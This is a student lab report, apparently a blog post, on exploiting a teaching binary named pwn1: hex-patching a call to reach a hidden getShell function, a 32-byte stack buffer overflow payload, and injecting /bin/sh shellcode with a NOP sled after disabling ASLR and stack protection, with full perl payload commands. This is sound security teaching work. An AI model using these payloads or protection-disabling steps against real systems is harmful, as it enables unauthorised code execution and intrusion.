20253906 2025-2026-2 《网络攻防实践》第9周作业

一、实验内容

1.1 实践目标

  • 实践对象:一个名为pwn1的linux可执行文件。
  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

1.2 实践内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

1.3 实验要求

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • 掌握反汇编与十六进制编程器
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造payload进行bof攻击

二、相关知识

2.1 Linux ELF可执行文件

  • 实验对象pwn1为Linux系统下的ELF格式可执行文件,包含代码段、数据段、程序栈等核心存储区域。
  • 程序包含main、foo、getShell三个函数,正常执行流程为main调用foo实现用户输入字符串回显,getShell函数默认不执行。
  • 实验核心目标:通过技术手段劫持程序执行流程,强制运行getShell函数或自定义代码片段。

2.2 核心汇编指令及机器码

  • NOP:空指令,机器码0x90,无实际操作,仅用于内存填充、指令对齐。
  • CMP:比较指令,执行减法运算并修改状态标志位,为条件跳转提供判断依据。
  • JE:相等跳转指令,标志位满足相等条件时跳转到目标地址执行代码。
  • JNE:不相等跳转指令,标志位满足不相等条件时跳转到目标地址执行代码。
  • JMP:无条件跳转指令,直接修改指令寄存器,强制跳转到指定地址执行代码。

2.3 反汇编与十六进制编程器

  • 反汇编:使用objdump、gdb等工具,将二进制机器码转换为可读汇编代码,用于查看函数地址、指令偏移、程序逻辑。
  • 十六进制编程器:如hexedit、010 Editor,可直接编辑可执行文件的二进制原始数据,修改机器指令以改变程序执行流程。

2.4 缓冲区溢出(BOF)漏洞原理

  • 函数调用依赖程序栈,栈帧包含局部变量缓冲区、栈基址、函数返回地址等关键数据。
  • foo函数存在缓冲区溢出漏洞:读取用户输入时未做长度校验,超长输入会超出缓冲区边界。
  • 溢出数据可覆盖栈上的函数返回地址,函数执行结束后,CPU会跳转到被篡改的返回地址执行代码。

2.5 Payload构造

  • Payload是针对漏洞构造的特制输入字符串,缓冲区溢出攻击的Payload结构为:填充字节 + 目标函数地址。
  • 填充字节占满缓冲区,目标地址覆盖函数返回地址,实现程序执行流劫持。

2.6 Shellcode基础

  • Shellcode是精简的二进制机器指令,用于调用系统接口获取交互Shell。
  • 实验中可自行制作Shellcode,通过缓冲区溢出注入程序内存并执行,实现任意代码运行。

2.7 程序执行流劫持

  • CPU通过EIP指令寄存器控制下一条执行指令的地址,默认按程序固有流程执行。
  • 本次实验的三种方法均通过篡改EIP指向,让程序脱离正常流程,执行指定代码片段。

三、实验过程

3.1 手工修改可执行文件

步骤 1:实验文件准备

  • 先将pwn1拉到kali中,进入目标文件所在的文件夹,把pwn1改名。

步骤 2:反汇编分析程序结构

  • 使用 objdump 对程序进行反汇编,查看函数逻辑与漏洞点:
    objdump -d pwnlyh | more
实验步骤
  • 通过反汇编代码分析程序核心结构:
    • 核心函数:程序包含 mainfoogetShell 三个函数;
    • 正常执行流程:main 函数调用 foo 函数,foo 函数仅实现输入回显,无危险操作;
    • 隐藏函数:getShell 为后门函数,入口地址为 0x0804847d,功能为执行 system("/bin/sh") 获取系统权限;
    • 修改目标:修改 main 函数的调用指令,让程序直接跳转至getShell 函数。
实验步骤

步骤 3:十六进制修改可执行文件

  • 1、用 vim 打开目标程序,转换为十六进制视图
vim pwnlyh
:%!xxd
实验步骤
  • 2、修改 call 指令的偏移量,让函数返回时不再回到 main,而是直接跳去 getShell 函数。将d7 改为 c3。按ESC,输入:%!xxd -r 还原为原格式后再:wq保存退出。
实验步骤
实验步骤

步骤 4:验证修改结果

实验步骤

步骤 5:执行程序验证

  • 执行该文件,之前修改的 main 函数里的 call 指令已经生效,程序成功跳转到了 getShell 函数。
实验步骤

3.2 foo函数的Bof漏洞

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

实验原理

  • 漏洞根源:foo函数调用了无长度校验的gets()函数,用户输入会直接写入栈缓冲区,导致栈溢出。
  • 偏移计算逻辑:
    • lea -0x1c(%ebp),%eax:说明缓冲区距离栈基址ebp的偏移为0x1c(28 字节)。
    • 栈帧结构:缓冲区(28B) → 旧ebp(4B) → 返回地址(4B),因此覆盖返回地址需要填充28 + 4 = 32字节。
  • 劫持流程:当foo执行完ret指令时,会读取被篡改的返回地址,跳转到getShell入口,成功获取系统 Shell。

步骤 1:实验文件准备

  • 建议:第一个实验的文件在改个名字,用新的文件。

步骤 2:构造栈溢出攻击载荷

实验步骤
  • 使用 perl 构造包含填充字段 + 目标函数地址的 Payload,写入文件 input_lyh:
    (由于getShell函数的起始地址0x0804847d,由于x86架构采用小端序存储,需写为\x7d\x84\x04\x08
实验步骤

步骤 3:执行栈溢出攻击

  • 1、为程序添加可执行权限
  • 2、发送 Payload 触发漏洞,劫持程序执行流
# 添加可执行权限
chmod u+x ./pwn1
# 执行攻击
(cat input_lyh; cat) | ./pwnlyh2

步骤 4:攻击结果验证

  • 程序执行后,成功覆盖返回地址,跳转到 getShell 函数,获取系统交互 Shell,栈溢出漏洞利用成功。
实验步骤

3.3 注入自己制作的shellcode

步骤 1:关闭系统安全防护机制

栈不可执行、地址空间随机化(ASLR)是 Linux 默认的栈溢出防护机制,需全部关闭才能成功注入 Shellcode。

  • 1、安装 execstack 工具
    用于配置程序栈的可执行权限,执行以下命令安装:
# 更新软件源
sudo apt-get update
sudo apt-get upgrade
# 安装execstack
sudo apt install execstack
实验步骤
  • 2、开启目标程序栈的可执行权限
# 设置目标程序堆栈可执行
sudo execstack -s ./pwnlyh2
# 验证设置结果,输出包含X则表示设置成功
sudo execstack -q ./pwnlyh2
  • 3、关闭 ASLR 地址空间随机化
    ASLR 会随机化栈地址,导致无法精准定位 Shellcode,临时关闭该机制:
# 关闭地址随机化,0为关闭,2为开启
sudo sh -c 'echo "0" > /proc/sys/kernel/randomize_va_space'
# 验证关闭结果,输出0则表示关闭成功 
more /proc/sys/kernel/randomize_va_space
实验步骤

步骤 2:构造初始占位 Payload 并启动程序

采用溢出填充字段 + 占位返回地址 + NOP 滑板 + Shellcode的标准 Payload 结构:

  • 溢出填充:32 个A(覆盖栈缓冲区至返回地址)
  • 占位返回地址:临时用\x01\x02\x03\x04占位(后续用调试地址替换)
  • NOP 滑板:无操作指令,提高 Shellcode 执行成功率
  • Shellcode:32 位 Linux 系统调用/bin/sh的机器码

  • 1、生成初始 Payload 文件
perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input
  • 2、启动目标程序并挂起(终端 1 执行)
(cat input; cat) | ./pwnlyh2
实验步骤

步骤 3:GDB 调试获取真实栈返回地址

通过 GDB 动态调试,定位函数返回时的栈顶地址,替换 Payload 中的占位地址。

  • 1、查找目标进程 PID(终端 2 执行)
    ps -ef | grep pwnlyh2
实验步骤
  • 2、在第二个终端启动gdb并附加到目标进程:
实验步骤
  • 3、反汇编foo函数,找到ret指令的地址
实验步骤
  • 4、在ret指令处设置断点,确保程序执行到函数返回前暂停
  • 5、触发断点并查看栈地址
    • 终端 1 按下回车键,触发程序执行到断点
    • GDB 终端执行命令c继续运行
    • 程序暂停后,查看栈顶指针esp(存储返回地址的位置)
实验步骤
  • 调试结果:esp = 0xffffcf7c,即有效返回地址为0xffffcf7c

步骤 4:生成最终 Payload 完成注入

  • 1、替换占位返回地址为调试得到的实际地址,重新生成最终Payload文件:
perl -e 'print "A" x 32; print "\x80\xcf\xff\xff"; print "\x90"x16; print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input
  • 2、启动目标程序,执行攻击
(cat input; cat) | ./pwnlyh2
实验步骤

四、遇到的问题以及解决方案

问题1:用%!xxd转成十六进制文本后,忘记执行%!xxd -r转回二进制,文件变成了十六进制文本,不再是可执行文件。

实验步骤

解决方案:file pwnlyh
发现ELF 文件头已经损坏。

实验步骤

决定在下载原始文件,重新来一遍,问题解决

问题2:permission denied 表示你的 pwnlyh 文件没有可执行权限,系统不允许直接运行它。这是用 vim/xxd 修改二进制文件后很常见的问题,修改操作可能重置了文件的权限位。

实验步骤

解决方案:

#给文件添加可执行权限
chmod +x ./pwnlyh
./pwnlyh

问题解决

实验步骤

问题3:使用32字节填充+占位返回地址+NOP滑板+Shellcode构造载荷后,执行程序直接报 Segmentation fault 和 broken pipe,程序直接崩溃,无法执行注入的 Shellcode

实验步骤

解决方案:通过 GDB 附加进程、在函数 ret 返回指令处打断点,程序断在返回前查看ESP 栈顶寄存器值,定位返回地址存储位置;再根据栈布局计算出 NOP 滑板与 Shellcode 的真实起始地址,替换掉虚假占位地址,构造合法可跳转的 Payload。

问题解决

实验步骤

五、实验心得体会

本次实验完成了手工修改 ELF 可执行文件、利用缓冲区溢出漏洞劫持程序执行流、自制 Shellcode 注入运行三部分内容。通过实际操作,我直观理解了 Linux 程序函数调用、栈帧结构以及缓冲区溢出漏洞的基本原理,学会了使用反汇编、十六进制编辑、GDB 调试等基础工具,也掌握了 Payload 构造、小端序地址转换、关闭 ASLR 和开启栈可执行等实操方法。

实验过程中我遇到了不少问题,修改文件后忘记还原二进制格式导致程序损坏、文件缺少可执行权限无法运行、Shellcode 注入时因跳转地址错误出现段错误。通过查阅命令、调试程序、一步步排查原因,最终都顺利解决,也锻炼了自己排错和动手实践的能力。

同时我也认识到,程序中像gets()这类不限制输入长度的函数存在很大安全隐患,容易引发缓冲区溢出攻击。本次实验让我对系统底层与网络安全有了初步认知,也为后续学习漏洞攻防打下了基础。

posted @ 2026-05-11 14:57  神探12312312  阅读(21)  评论(0)    收藏  举报